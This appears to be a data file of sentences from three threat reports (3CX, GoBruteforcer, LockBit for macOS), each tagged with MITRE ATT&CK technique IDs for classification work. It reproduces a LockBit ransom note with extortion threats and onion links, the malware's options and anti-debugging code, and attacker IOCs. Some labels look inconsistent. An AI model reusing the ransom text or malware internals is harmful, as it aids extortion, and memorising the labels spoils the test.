{"sentence": "On March 31, 3CX noted that Google has invalidated the company’s previous signing certificate, which means both the originally infected MSI files plus files issued by 3CX earlier in the week using that certificate will be blocked, and issued a fresh one.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "3CX at this writing is building entirely new MSI installers using the newly issued certificate.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "This applies to Windows only, as the company states they will not be rebuilding the Mac version of the desktop app yet while they focus on the Windows version (and on the security breach in general).", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "An updated list of IOCs for this attack is published on our GitHub.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "Detection protection SophosLabs has blocked the malicious domains and published the following detections: Static detections: Troj/Loader-AF (Trojanized ffmpeg.dll) Troj/Mdrop-JTQ (installers) Troj/Steal-DLG OSX/Mdrop-JTR (installers) OSX/Loader-AG (Trojanized ffmpeg.dll) Reputation detection: Mal/Generic-R / Mal/Generic-S (d3dcompiler with appended shellcode) Memory detection: We have also blocked the list of known C2 domains associated with the threat and will continue to add to that list in the IOC file on our GitHub, as noted above.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "Finally, the two malicious versions of the ffmpeg.dll bundled in the affected 3CXapplication are flagged by their hashes as being of low reputation.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "SophosLabs is actively investigating additional detection opportunities for activity stemming from this software.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "In addition, for customers of Sophos MDR, the MDR Detection Engineering team has a variety of behavioral detections in place that will detect follow up activity.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "This post is also available in: 日本語 (Japanese)Executive Summary Unit 42 researchers recently discovered a new sample of Golang-based malware.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "We have dubbed it GoBruteforcer, and it targets web servers, specifically those running phpMyAdmin, MySQL, FTP and Postgres services.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "The sample was originally captured from our Next-Generation Firewall.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "Upon further research, we found that the malware was hosted on a legitimate website.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "Further investigation revealed that the attacker hosted binaries for x86, x64 and ARM processor architectures.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "For successful execution, the samples require special conditions on the victim system like specific arguments being used and targeted services already being installed (with weak passwords).", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "Palo Alto Networks customers receive protections from malware families like GoBruteforcer and its malicious components with Cortex XDR or the Next-Generation Firewall with cloud-delivered security services including WildFire and Advanced Threat Prevention.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "Alongside this, Advanced URL Filtering and DNS Security can block the command and control (C2) domain and malware hosting URLs.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "Table of Contents IntroductionScanning and System AccessFor the phpMyAdmin ServiceIRC Bot DeploymentFor MySQL and Postgres ServicesFor the FTP ServicePostResult Module and Web Shell ConnectionGoBruteforcer Makes AdvancesConclusionIndicators of Compromise Introduction Go programming language, also known as Golang, is a newer language that’s becoming more popular with malware programmers.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "It has proven to be versatile enough to develop all kinds of malware, including ransomware, stealers or remote access trojans (RATs).", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "GoBruteforcer is a new kind of botnet malware that is written in Golang and targets web servers, specifically those running phpMyAdmin, MySQL, FTP and Postgres services.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "GoBruteforcer chose a Classless Inter-Domain Routing (CIDR) block for scanning the network during the attack, and it targeted all IP addresses within that CIDR range.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "The threat actor chose CIDR block scanning as a way to get access to a wide range of target hosts on different IPs within a network instead of using a single IP address as a target.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "After achieving access, GoBruteforcer deploys an IRC bot containing the attacker’s URL.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "Later, GoBruteforcer also tries to query the victim system using a PHP web shell.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "GoBruteforcer attack chain.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "The cache_init file highlighted in Figure 2 is the GoBruteforcer malware we found hosted in the /.x/ directory of the targeted server.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "GoBruteforcer hosted on a victim server.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "It seems likely that this is their OS of choice because *nix operating systems are a popular choice for hosting servers.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "We’ve seen this malware remotely deploy a variety of different types of malware as payloads, including coinminers.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "We believe that GoBruteforcer is in active development, and as such, things like initial infection vectors or payloads could change in the near future.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "Scanning and System Access The GoBruteforcer malware samples are packed with UPX Packer.", "labels": ["T1027"], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "Upon unpacking a sample (SHA256 ebe11121aafdac5d8f2eecba710ba85efa31617a5eb825ba2e89e23379b26b84), we observed that GoBruteforcer has a multiscan module (shown in Figure 3) it uses to scan for the hosts inside a CIDR for its attack.", "labels": ["T1027"], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "GoBruteforcer multiscan function.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "On the target IP address, the malware starts scanning for phpMyAdmin, MySQL, FTP and Postgres services.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "The attacker has defined separate scanning modules against all the aforementioned services, as shown in Figure 4. Figure 4.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "For this, the port scan module (shown in Figure 5) is called inside every scanning module.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "Portscan function (present inside every scanning module).For the phpMyAdmin Service When scanning for phpMyAdmin services, if the target port (port 80) is open, the GoBruteforcer malware tries to login and get access to the victim server via brute force.", "labels": ["T1110"], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "Hard-coded credentials for brute forcing.", "labels": ["T1110"], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "IRC Bot Deployment Upon successful login via phpMyAdmin service into the victim server, GoBruteforcer deploys and executes an IRC bot on the victim server.", "labels": ["T1110"], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "The files fb5 and ab5 are IRC bots compiled for x86_64 and ARM architectures respectively, as shown in Figures 7 and 8.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "GoBruteforcer deploying IRC bot for ARM-supported platforms.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "Later, the malware starts communication between the command and control channel (C2) and the victim server via the IRC bot, as shown in Figure 9. Figure 9.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "Additionally, the IRC bot also registers itself inside cron for recurring execution. Figure 10.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "IRC registering itself in cron.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "(Figures 11 and 12 show this activity, and you can also refer to the following post on the Golang Issues forum for more information).", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "After that, the malware calls the PostResult module, which will be discussed in greater detail in the later section, PostResult Module and Web Shell Connection.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "MySql ping done by GoBruteforcer malware.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "If the malware finds it open, it tries to authenticate to the server (as shown in Figure 13) using the goftp library, which is an FTP client package for Golang.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "FTP login attempt.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "Upon successful authentication to the victim server, the malware calls the PostResult module.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "PostResult Module and Web Shell Connection Inside GoBruteforcer's PostResult module, which is called after every service scanning module, we observed a hard coded link (query) as shown in Figure 14. Figure 14.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "Hard coded link found inside GoBruteforcer binary.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "This web shell seemed similar to the pst.php PHP file (SHA256 602129f00bb002f07db07affa78d46f67bd0b2c8fb0867ea2da5fc3e73dd2665) associated with http[:]//5.253.[.]84[.]159 (see Figure 15).", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "The PHP web shell had reverse shell and bind shell capabilities, as shown in Figure 15. Figure 15.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "Bind shell and reverse shell capabilities inside webshell.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "This gives the attacker the ability to gain more insight into the targeted network. Figure 16.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "Simple packet crafter capabilities inside web shell.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "GoBruteforcer Makes Advances During our hunt for the samples related to GoBruteforcer campaign, we found another sample (SHA256 acc705210814ff5156957c028a8d6544deaca0555156504087fdc61f015d6834).", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "The sample was uploaded on VirusTotal some months ago and had 0 detections, as shown in Figure 17. Figure 17.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "Weak passwords could lead to serious threats as web servers are an indispensable part of an organization.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "The GoBruteforcer bot comes with a multiscan capability, which gives it a wide range of targets that it can use to get into a network.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "GoBruteforcer also seems to be in active development, so attackers could change the techniques they use to target web servers in the near future.", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "Alongside this, Advanced URL Filtering and DNS Security can block the command and control (C2) domain and malware hosting URLs. Indicators of Compromise Hashes de7994277a81cf48f575f7245ec782c82452bb928a55c7fae11c2702cc308b8b Web shell 602129f00bb002f07db07affa78d46f67bd0b2c8fb0867ea2da5fc3e73dd2665 Web shell acc705210814ff5156957c028a8d6544deaca0555156504087fdc61f015d6834 Older version of GoBruteforcer 426b573363277554c7c8a04da524ddbf57c5ff570ea23017bdc25d0c7fd80218 IRC bot(x86) 726ccd223a1cfb60fc6c3b48ea3dbf057da918efac5acf620cd026ee38fb0044 IRC bot(ARM) 526767fbb26c911601371745d603885b75deabcc18261ed2d5a509d58f95d28e GoBruteforcer (x86_64) dd3555025957cd51cd048d920027a0ff2d5501bc85792529217d54086e9351c2 GoBruteforcer (x86_64) df7dc0fe7e90a2414ac188c55d06ad3882cfc7394869c9ffa549fb1ddb304919 GoBruteforcer (x86_64) ebe11121aafdac5d8f2eecba710ba85efa31617a5eb825ba2e89e23379b26b84 GoBruteforcer (x86_64) 5548935e7c6cf3b38240a0579cac36906e9883a1ec5e85335609e9e2062588c5 GoBruteforcer ARM(64-bit) 5627b138bc857081d2251edd7eb3b68cbd58dfff2f51b7cd34c893fffff2cfab GoBruteforcer ARM(64-bit) 5c1d3fb43e9e35b835e62e05a7b97ed66ab132eab35bfc18ce543e8f58ccf5e2 GoBruteforcer ARM(32-bit) 7c27ac0daba19de227fcc467abfcdefa99426c768a3601b1b181e9741717665b GoBruteforcer (x86) URL and IP 5.253[.]84[.]159/x fi[.]warmachine[.]su Get updates from Palo Alto Networks! Sign up to receive the latest news, cyber threat intelligence and research from us", "labels": [], "doc_title": "GoBruteforcer GolangBased Botnet Actively Harvests Web Servers"}
{"sentence": "The LockBit ransomware (kinda) comes for macOS Analyzing a arm64 mach-O version of LockBit by: Patrick Wardle / April 16, 2023 Objective-See's research, tools, and writing, are supported by the \"Friends of Objective-See\" such as: :memo: :alien_monster: Want to play along?", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "As “Sharing is Caring” I’ve uploaded the malicious binary LockBit to our public macOS malware collection.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "The password is: infect3d ...please though, don't infect yourself!", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Background Late Saturday (April 15the), @MalwareHunterTeam tweeted about a new LockBit ransomware variant targeting macOS: As shown in the tweet, the ransomware binary initially was undetected by any of the anti-virus engines on VirusTotal: locker_Apple_M1_64 on VirusTotal (image credit: @MalwareHunterTeam)", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Good news, if you refresh the page on VirusTotal the av engines are now starting to pick up the file as malicious.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "We believe this is the first time a large ransomware threat group has developed a payload for Apple products.”", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "-VXUnderground", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Coupled with the fact that this may be, (as noted by @VXUnderground), “the first time a large ransomware threat group has developed a payload for Apple products” …I was intrigued to decided to dig right in!", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "In this blog post we’ll tear apart the sample, showing that ultimately, while yes it can indeed run on Apple Silicon, that is basically the extent of it’s impact.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Thus macOS users have nothing to worry about …for now!", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Triage The (SHA-1) hash for the binary (aptly named locker_Apple_M1_64) is 9e9a5f8d86356796162cee881c843cde9eaedfb3 While we're only focusing on the macOS sample, it appears the LockBit group has built this sample for a host of other OS's: Using macOS’s file utility, we see the locker_Apple_M1_64 binary is an x86_64 (Intel) Mach-O: % file LockBit/locker_Apple_M1_64 LockBit/locker_Apple_M1_64: Mach-O 64-bit executable arm64 And what about it’s code signing information?", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "% codesign -dvv", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "LockBit/locker_Apple_M1_64 Executable=LockBit/locker_Apple_M1_64 Identifier=locker Format=Mach-O thin (arm64) CodeDirectory v=20400 size=3295", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "flags=0x20002(adhoc,linker-signed) hashes=100+0 location=embedded Signature=adhoc Info.plist=not bound TeamIdentifier=not set Sealed Resources=none Internal requirements=none % spctl -a -vvv", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "-t install LockBit/locker_Apple_M1_64 LockBit/locker_Apple_M1_64: invalid signature (code or signature have been modified)", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "The codesign utility shows that though it’s signed, it’s signed “ad-hoc” (say vs. an Apple Developer ID).", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "This means if downloaded to a macOS system (i.e. deployed by the attackers) macOS won’t let it run.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "This is confirmed by the spctl utility which shows “invalid signature” …or if you’re brave enough to try run it: An invalid signature means macOS will block it Let’s now run the strings command (with the \"-\" option which instructs it to scan the whole file), we find a few strings that appear to be related to standard ransomware activity including: Encryption File Extensions Ransom instructions % strings - -n 3 locker_Apple_M1_64 curve25519xsalsa20poly1305 blake2b blake2b_final blake2b-ref.c sodium_crit_enter _sodium_malloc /dev/urandom /dev/random ...", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "cmd ani adv msi msp com nls ocx mpa cpl mod hta prf rtp rdp bin shs wpx bat rom msc spl ics key exe dll ... restore-my-files.txt ... winmd ntldr ntuser.dat.log bootsect.bak autorun.inf thumbs.db iconcache.db Also interesting are the strings related to Windows artifacts (e.g. autorun.inf, ntuser.dat.log, etc…).", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "This may indicate the ransomware was originally written to target Windows platforms.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "This wraps up our triage of the locker_Apple_M1_64 binary.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Time to dive in deeper with our trusty friends: the disassembler and debugger!", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Analysis of locker_Apple_M1_64 In this section we’ll more deeply analyze the malicious logic of the locker_Apple_M1_64 binary …which is simplified by the fact that the binary’s symbols aren’t stripped.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "First, we pointed out that the locker_Apple_M1_64 is an arm64 binary (Mach-O 64-bit executable arm64).", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "This means we better have at least a cursory understanding of AArch64.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "If you’re not familiar with this instruction set, here’s two of my favorite resources to get you up to speed: Opening the malware in a disassembler, (starting at its main) we spot some (fairly common) anti-debugging logic: main ... 000000010000b108 bl imp___stubs__getppid 000000010000b10c mov x1, x0 000000010000b110 mov w0, #0x1f 000000010000b114 mov x2, #0x0 000000010000b118 mov w3, #0x0 000000010000b11c bl imp___stubs__ptrace 000000010000b120 cmn w0, #0x1 In short, this snippet of code invokes ptrace with PT_DENY_ATTACH (0x1f) which will kill the process if a debugger is currently attached, and also prevent future attachments.", "labels": ["T1055"], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "As we’ll want to debug the malware to gain a deeper understanding of its functionality, we’ll have to bypass this.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Just set a breakpoint on the address of the call to ptrace (b 0x000000010000b11c), and once this is hit, simply skip over the call by modifying the instruction pointer to point it to the next instruction (reg write $pc 0x000000010000b120).", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "% lldb locker_Apple_M1_64 (lldb) target create \"locker_Apple_M1_64\" Current executable set to 'locker_Apple_M1_64' (arm64).", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "+72>: bl 0x1000429cc ; symbol stub for: ptrace (lldb) reg write $pc 0x10000b120", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "(The rest of the malware’s binary simple looks like Linux code, compiled for macOS).", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Next, we find an XOR loop that decrypts this configuration.", "labels": ["T1027", "T1140"], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "000000010000b144 mov x8, #0x0 000000010000b148 mov w9, #0x2458 loc_10000b14c: 000000010000b14c and x10, x8, #0xf 000000010000b150 ldrb w10, [x21, x10] 000000010000b154 add x11, x21, x8 000000010000b158 ldrb w12, [x11, #0x10] 000000010000b15c eor w10, w12, w10 000000010000b160 strb w10, [x11, #0x10] 000000010000b164 add x8, x8, #0x1 000000010000b168 cmp x8, x9 000000010000b16c b.ne loc_10000b14c Once de-XOR’d we find a few strings as \"!!!", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "-Restore-My-Files-!!!", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "\", \"VMware vCenter Server\", and XP_SP;Win10.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "LockBit’s ransomware that targets Windows/Linux, and also VMware ESXi.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "The malware then initializes various global variables, either with hard-coded values, or from the decrypted configuration (now held in g_Config).", "labels": ["T1140"], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "_bdaemon: 0000000100059088 dd 0x00000001 ... 000000010000b174 adrp x9, #0x100059000 ... 000000010000b17c mov w8, #0x1 000000010000b180 nop 000000010000b184 str w8, [x9, #0x88] ; _bdaemon Here’s the list of global variables that are referenced …which based on their names, provide insight into the malware configuration options:", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "iMinfilesize iSpotMaximum bdaemon bSelfRemove publickey idelayinmin wholefile bfullog bnostop noext no_log bwipe bVMDKmode …also, by manually manipulating these values in a debugger (or as we’ll see via the command line) we can simplify analysis.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "For example, setting bdaemon to false will prevent the binary from daemonizing (making it easier to debug), while setting bfullog to true to coerce the malware to log its actions!", "labels": ["T1140"], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "We could step through this and dump each string manually, or, as a hard-coded XOR key is used, simply de-XOR the entire binary and see what falls out: with open(\"locker_Apple_M1_64\", \"rb\") as f_in, open(\"strings\", \"wb\") as f_out: while True: chunk = f_in.read(1024) if not chunk: break encrypted_chunk = bytes(byte ^", "labels": ["T1027", "T1140"], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "f_out.write(encrypted_chunk)", "labels": ["T1059.003"], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "This produces strings including a commandline usage: Usage: %s", "labels": ["T1059.003"], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "[OPTION]... -i", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "'/path/to/crypt' Recursively crypts files in a path or by extention.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Mandatory arguments to long options are mandatory for short options too.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "-i, --indir path to crypt -m, --minfile minimal size of a crypted file, no less than 4096 -r, --remove self remove this file after work -l, --log prints the log to the console -n, --nolog do not print the log to the file /tmp/locker.log -d, --daemonize runs a program as Unix daemon -w, --wholefile encrypts whole file -b, --beginfile encrypts first N bytes -e, --extentions encrypts files by extentions -o, --nostop prevent to stop working VM -t, --wipe wipe free space -s, --spot upper bound limitation value of spot in Mb -p, --pass password -f, --full full log -a, --delay start delay in minutes -y, --noexts do not search for extentions -v, --vmdk search for extentions inside VMDK files Clearly these match to the global variables that apparently can be set via the command-line as well.", "labels": ["T1059.003", "T1070.004"], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "As we’ll set this makes analysis even easier!", "labels": ["T1140"], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Also the de-XOR’d strings, we find the full ransom note (here, truncated):", "labels": ["T1140"], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "~~~ LockBit 3.0 the world's fastest and most stable ransomware from 2019~~~ >>>>>", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "If you don't pay the ransom, the data will be published on our TOR darknet sites.", "labels": ["T1090"], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Keep in mind that once your data appears on our leak site, it could be bought by your competitors at any second, so don't hesitate for a long time.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Tor Browser Links: http://lockbitapt2d73krlbewgv27tquljgxr33xbwwsp6rkyieto7u4ncead.onion http://lockbitapt2yfbt7lchxejug47kmqvqqxvvjpqkmevv4l3azl3gy6pyd.onion http://lockbitapt34kvrip6xojylohhxrwsvpzdffgs5z4pbbsywnzsbdguqd.onion http://lockbitapt5x4zkjbcqmz6frdhecqqgadevyiwqxukksspnlidyvd7qd.onion http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion http://lockbitapt72iw55njgnqpymggskg5yp75ry7rirtdg4m7i42artsbqd.onion http://lockbitaptawjl6udhpd323uehekiyatj6ftcxmkwe5sezs4fqgpjpid.onion http://lockbitaptbdiajqtplcrigzgdjprwugkkut63nbvy2d5r4w2agyekqd.onion http://lockbitaptc2iq4atewz2ise62q63wfktyrl4qtwuk5qax262kgtzjqd.onion Links for normal browser: http://lockbitapt2d73krlbewgv27tquljgxr33xbwwsp6rkyieto7u4ncead.onion.ly http://lockbitapt2yfbt7lchxejug47kmqvqqxvvjpqkmevv4l3azl3gy6pyd.onion.ly http://lockbitapt34kvrip6xojylohhxrwsvpzdffgs5z4pbbsywnzsbdguqd.onion.ly http://lockbitapt5x4zkjbcqmz6frdhecqqgadevyiwqxukksspnlidyvd7qd.onion.ly http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion.ly http://lockbitapt72iw55njgnqpymggskg5yp75ry7rirtdg4m7i42artsbqd.onion.ly http://lockbitaptawjl6udhpd323uehekiyatj6ftcxmkwe5sezs4fqgpjpid.onion.ly http://lockbitaptbdiajqtplcrigzgdjprwugkkut63nbvy2d5r4w2agyekqd.onion.ly http://lockbitaptc2iq4atewz2ise62q63wfktyrl4qtwuk5qax262kgtzjqd.onion.ly ... >>>>", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Very important!", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "For those who have cyber insurance against ransomware attacks.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Insurance companies require you to keep your insurance information secret, this is to never pay the maximum amount specified in the contract or to pay nothing at all, disrupting negotiations.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "The insurance company will try to derail negotiations in any way they can so that they can later argue that you will be denied coverage because your insurance does not cover the ransom amount.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "He will do anything to derail negotiations and refuse to pay us out completely and leave you alone with your problem.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "If you do not pay the ransom, we will attack your company again in the future.", "labels": ["T1140"], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Interestingly also, the malware invokes a function named get_password to read from stdin …it checks against the value of test 000000010000a618 bl imp___stubs__strcmp (lldb)", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "x/s $x0 0x16fdfeb10: \"hunter2\" (lldb) x/s $x1 0x10005a0d2: \"test At this point, armed with an decent understanding of the malware (yah, its ransomware) plus understanding of commandline options (that also allow us to enable logging), coupled with the fact that it’s a Sunday (aka the day of rest, not reversing malware) I decided to switch to passive dynamic analysis.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Also, maybe you’re tired of reading arm64?", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "My goal was now trigger the malware to encrypt (ransom) files, while passively observing it in action.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "On my dedicated analysis machine, I first created a directory for it to encrypt (~/Downloads/lock_me_up) which I filled with files to encrypt (for some reason, I thought it was be funny to put other malware samples in there for the ransomware to encrypt).", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Next, I ran the malware with the following command line: -f : full log -p pass : password -i ~/Downloads/lock_me_up : directory to encrypt / ransom First, the file monitoring detected the ransomware opening its log file (tmp/locklog).", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
